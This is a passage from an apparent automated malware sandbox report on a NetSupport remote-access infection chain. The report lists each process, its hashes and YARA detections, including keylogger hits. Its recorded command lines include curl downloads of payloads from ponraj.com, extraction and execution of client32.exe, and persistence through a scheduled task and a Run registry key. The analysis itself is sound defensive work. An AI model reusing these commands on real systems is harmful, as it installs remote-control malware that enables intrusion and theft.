Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exePID: 7164, Parent PID: 7076

General

Target ID:	2
Start time:	17:37:05
Start date:	18/07/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\sett.bat"
Imagebase:	0x7ff627730000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: curl.exePID: 7160, Parent PID: 7164

General

Target ID:	3
Start time:	17:37:05
Start date:	18/07/2023
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lol.7z" -o "C:\ProgramData\lol.7z"
Imagebase:	0x7ff63d2f0000
File size:	424'448 bytes
MD5 hash:	BDEBD2FC4927DA00EEA263AF9CF8F7ED
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exePID: 4048, Parent PID: 7076

General

Target ID:	4
Start time:	17:37:07
Start date:	18/07/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\7z.bat"
Imagebase:	0x7ff627730000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: curl.exePID: 2944, Parent PID: 4048

General

Target ID:	5
Start time:	17:37:07
Start date:	18/07/2023
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe"
Imagebase:	0x7ff63d2f0000
File size:	424'448 bytes
MD5 hash:	BDEBD2FC4927DA00EEA263AF9CF8F7ED
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exePID: 5632, Parent PID: 7076

General

Target ID:	6
Start time:	17:37:09
Start date:	18/07/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\2.bat"
Imagebase:	0x7ff627730000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: curl.exePID: 4756, Parent PID: 5632

General

Target ID:	7
Start time:	17:37:09
Start date:	18/07/2023
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -k "https://ponraj.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/2.bat" -o "C:\ProgramData\2.bat"
Imagebase:	0x7ff63d2f0000
File size:	424'448 bytes
MD5 hash:	BDEBD2FC4927DA00EEA263AF9CF8F7ED
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exePID: 4712, Parent PID: 7076

General

Target ID:	8
Start time:	17:37:10
Start date:	18/07/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\2.bat"
Imagebase:	0x7ff627730000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: xcopy.exePID: 4700, Parent PID: 4712

General

Target ID:	9
Start time:	17:37:10
Start date:	18/07/2023
Path:	C:\Windows\System32\xcopy.exe
Wow64 process (32bit):	false
Commandline:	xcopy /h /y 7zz.exe C:\ProgramData\
Imagebase:	0x7ff754df0000
File size:	47'616 bytes
MD5 hash:	6BC7DB1465BEB7607CBCBD7F64007219
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: xcopy.exePID: 6664, Parent PID: 4712

General

Target ID:	10
Start time:	17:37:10
Start date:	18/07/2023
Path:	C:\Windows\System32\xcopy.exe
Wow64 process (32bit):	false
Commandline:	xcopy /h /y lol.7z C:\ProgramData\
Imagebase:	0x7ff754df0000
File size:	47'616 bytes
MD5 hash:	6BC7DB1465BEB7607CBCBD7F64007219
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exePID: 6784, Parent PID: 4712

General

Target ID:	11
Start time:	17:37:10
Start date:	18/07/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\
Imagebase:	0x7ff627730000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: timeout.exePID: 7136, Parent PID: 4712

General

Target ID:	12
Start time:	17:37:10
Start date:	18/07/2023
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	TIMEOUT /T 3
Imagebase:	0x7ff61e320000
File size:	30'720 bytes
MD5 hash:	EB9A65078396FB5D4E3813BB9198CB18
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 7zz.exePID: 5692, Parent PID: 6784

General

Target ID:	13
Start time:	17:37:10
Start date:	18/07/2023
Path:	C:\ProgramData\7zz.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\7zz.exe x -y C:\ProgramData\lol.7z -oC:\ProgramData\
Imagebase:	0x400000
File size:	587'776 bytes
MD5 hash:	42BADC1D2F03A8B1E4875740D3D49336
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000D.00000003.401594990.0000000002281000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000D.00000003.401594990.0000000002751000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000D.00000003.401594990.00000000023AC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000D.00000003.401594990.00000000023AC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs

Chronological Activities

Analysis Process: schtasks.exePID: 1436, Parent PID: 4712

General

Target ID:	14
Start time:	17:37:13
Start date:	18/07/2023
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /create /F /tn "KAVAQQQ" /tr "cmd.exe /c C:\ProgramData\client32.exe" /sc minute /mo 4 /sd 01/01/2022 /st 00:00
Imagebase:	0x7ff7ebae0000
File size:	226'816 bytes
MD5 hash:	838D346D1D28F00783B7A6C6BD03A0DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exePID: 4588, Parent PID: 4712

General

Target ID:	15
Start time:	17:37:13
Start date:	18/07/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c C:\ProgramData\client32.exe
Imagebase:	0x7ff627730000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: client32.exePID: 5792, Parent PID: 4588

General

Target ID:	16
Start time:	17:37:13
Start date:	18/07/2023
Path:	C:\ProgramData\client32.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\client32.exe
Imagebase:	0x11e0000
File size:	101'680 bytes
MD5 hash:	F70B67C2B3204B7DDD8B755799CCCFF0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000010.00000000.406057046.00000000011E2000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000010.00000002.654634382.000000000350F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000010.00000002.658205663.000000006BF90000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000010.00000002.656184104.0000000011194000.00000002.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000010.00000002.656184104.0000000011194000.00000002.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000010.00000002.654210424.0000000001735000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000010.00000002.654634382.0000000003521000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000010.00000002.656355109.00000000111E2000.00000004.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000010.00000002.654110401.00000000011E2000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\client32.exe, Author: Joe Security
Antivirus matches:	Detection: 11%, ReversingLabs

Chronological Activities

Analysis Process: reg.exePID: 5780, Parent PID: 4712

General

Target ID:	17
Start time:	17:37:13
Start date:	18/07/2023
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Imagebase:	0x7ff7b4610000
File size:	72'704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: reg.exePID: 6768, Parent PID: 4712

General

Target ID:	18
Start time:	17:37:13
Start date:	18/07/2023
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "KAVAS" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Imagebase:	0x7ff7b4610000
File size:	72'704 bytes
MD5 hash:	E3DACF0B31841FA02064B4457D44B357
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exePID: 7148, Parent PID: 1084

General

Target ID:	19
Start time:	17:37:15
Start date:	18/07/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\client32.exe
Imagebase:	0x7ff627730000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exePID: 5704, Parent PID: 7148

General

Target ID:	20
Start time:	17:37:15
Start date:	18/07/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: client32.exePID: 5592, Parent PID: 7148

General

Target ID:	21
Start time:	17:37:15
Start date:	18/07/2023
Path:	C:\ProgramData\client32.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\client32.exe
Imagebase:	0x11e0000
File size:	101'680 bytes
MD5 hash:	F70B67C2B3204B7DDD8B755799CCCFF0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000015.00000002.412125437.0000000011194000.00000002.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000015.00000002.412125437.0000000011194000.00000002.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000015.00000002.412171192.00000000111E2000.00000004.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000015.00000002.411812182.00000000011E2000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000015.00000000.410473552.00000000011E2000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: client32.exePID: 5660, Parent PID: 3324

General

Target ID:	24
Start time:	17:37:25
Start date:	18/07/2023
Path:	C:\ProgramData\client32.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\client32.exe"
Imagebase:	0x11e0000
File size:	101'680 bytes
MD5 hash:	F70B67C2B3204B7DDD8B755799CCCFF0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000018.00000002.433693165.00000000111E2000.00000004.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000018.00000000.431953663.00000000011E2000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000018.00000002.433656275.0000000011194000.00000002.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000018.00000002.433656275.0000000011194000.00000002.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000018.00000002.433418912.00000000011E2000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: client32.exePID: 4712, Parent PID: 3324

General

Target ID:	25
Start time:	17:37:33
Start date:	18/07/2023
Path:	C:\ProgramData\client32.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\client32.exe"
Imagebase:	0x11e0000
File size:	101'680 bytes
MD5 hash:	F70B67C2B3204B7DDD8B755799CCCFF0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000019.00000002.451024068.00000000111E2000.00000004.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000019.00000000.449712542.00000000011E2000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000019.00000002.450737079.00000000011E2000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000019.00000002.450976301.0000000011194000.00000002.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000019.00000002.450976301.0000000011194000.00000002.00000001.01000000.00000005.sdmp, Author: Joe Security